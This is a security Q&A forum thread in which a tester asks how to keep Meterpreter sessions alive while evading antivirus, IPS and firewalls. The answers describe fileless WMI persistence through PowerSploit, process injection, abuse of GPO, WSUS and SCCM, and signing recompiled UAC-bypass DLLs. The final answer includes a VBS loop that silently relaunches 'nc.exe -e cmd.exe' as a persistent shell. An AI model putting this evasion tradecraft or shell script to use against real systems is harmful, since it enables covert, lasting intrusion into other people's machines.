These days I am testing various type of client hacking techniques, and in all scenarios I am using Meterpreter/reverse_tcp as payload. Now I can bypass Anti-Virus and Firewalls easily, but when i run persistence module Anti Virus and IPS always detect Meterpreter payloads used for persistence and they delete the file also same problem with meterpreter bypass_UAC script.

As you know meterpreter session always easily dies because of various things like internet connection disconnected or rebooting system and etc.

Is there any better way than Meterpreter persistence script that can persistence my sessions and bypasses Anti Viruses and Firewall too?

Is there any way that meterpreter persistence script uses my self-crafted payload instead of automatic generated payloads by metasploit that easily will cought by antiviruses?

  • 2
    There is EXE::Custom option to set your own exe for persistence. Or you can write a ruby script to upload your custom file and register the service or the registry entry manually. In case of BypassUAC, AVs always detect the custom cryptbase.dll file. However, you can compile your own version from the msf source (preferably through MS compilers) and if you can sign it, that would make it bypass a lot of AVs.
    – void_in
    Commented Aug 3, 2016 at 10:45

3 Answers 3


Justin Warner provides an argument on his blog that is important to summarize before continuing a discussion about persistence:

Is Reboot Persistence a Requirement

I would argue that a backdoor does not have to be reboot persistent. In its very nature, a backdoor is simply a method of gaining access to some targeted resource. Backdoors often have a persistent component but I would say that is a decision best left to the context and scenario of what you are trying to accomplish. In very simple network scenarios or penetration tests that have little focus from network defenders, run-of-the-mill persistence might be applicable and useful. Things like run keys, service executables, or App Init DLLs come in quite handy for this situation.

In more sophisticated or tough network environments, I often try to operate 95% memory only and only resort to reboot persistence in areas that seem to be key-terrain. This might be more paranoid than necessary but by doing this, I help to avoid issues with host based IDS and prevent leaving artifacts on the hosts. In the places I choose to do reboot persistence, I prefer methods that do not utilize a file on disk such as registry storage of payloads.

Let's take real-world attacks such as the Kovter malware as an example of the tradecraft possible in 2016 -- https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/

Thanks to the techniques employed by Kovter, no executable needs to be dropped on the disk – that’s why is known as “fileless” [...] scattered into several layers, but also obfuscated at every stage and containing tricks that slow down the analysis process

Kovter uses a combination of persistent registry entries and PowerShell (others often use or suggest remote registry, PS Remoting, and/or WMI event consumers) to perform this fileless persistence. Some blogs have talked at length about autostart persistence locations based on these, services, autoruns, et al.

In meterpreter, one can access fileless techniques (as described by Justin Warner's blog post at the top of this answer) via PowerShell's PowerPick and ReflectivePick techniques, which don't require execution (or visible process listing) of any powershell.exe. Darkoperator covers the powershell extension and ability to use the powershell_import command to pull in a PowerShell pipeline. One can then use the PowerSploit persistence capabilities, but these may not always be clearly-defined. Of course, instead of meterpreter, one could use PowerShellEmpire agents to deliver the persistence/elevated/wmi module. What I'm suggesting, and which will likely solve your problem directly, is to just source Persistence.psm1 to perform the WMI permanent event subscription via powershell_import while inside meterpreter. This will provide the AV, IPS, and firewall/UTM bypasses you'll need -- but it may be easy to cleanup if the responders search for multiple instances of this one technique.

Which brings me to the next conversation piece that Justin Warner alludes to. Each machine you want to persist against in a network should have a different persistence technique (some perhaps no strategy at all -- e.g., servers with high uptime can have memory-resident backdoors for months, maybe years at a time). Often, you can use the system-administration infrastructure against the target -- leveraging it for evil instead of good, so to speak. There are ways to take control of COM handlers, WSUS, AD GPO, BITSadmin, DSC, SCCM, and many other packages and features to maintain persistence.

Also -- system persistence may be completely different than reliable transports. I highly suggest that you check out the Meterpreter documentation:

  1. https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication
  2. https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control

You must understand the transport architecture in order to maintain reliable network connectivity. One of the best ways to ensure network reliability that the above does not cover, however, is to combine transport with Metasploit AutoRunScript -- such as covered in the this other answer in order to get AutoRunScript working in the context of meterpreter. mubix covers transports more in detail in this metasploit minute from Hak5.


I presume you're talking about Windows as target system. In that case for most modern Windows OSes you should think about powershell and injecting meterpreter payloads into running processes. That will usually bypass antivirus. There are a lot of useful scripts for that in the powersploit framework. Check out this blog for a couple of examples what you have to do in practice.


Unless you're into some hardcore dangerous work then maybe refer back to atdre's answer. But you just have to relaunch meterpreter from ncat each time, that's all.

Use ncat / netcat persistence with vbs:

Dim ncShell
Set ncShell = WScript.CreateObject("WScript.shell")

Do while True:
    ncShell.Run "powershell.exe C:\windows\nc.exe -e cmd.exe", 0, true
  • 1
    Please watch your language here.
    – schroeder
    Commented Nov 26, 2016 at 20:51

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .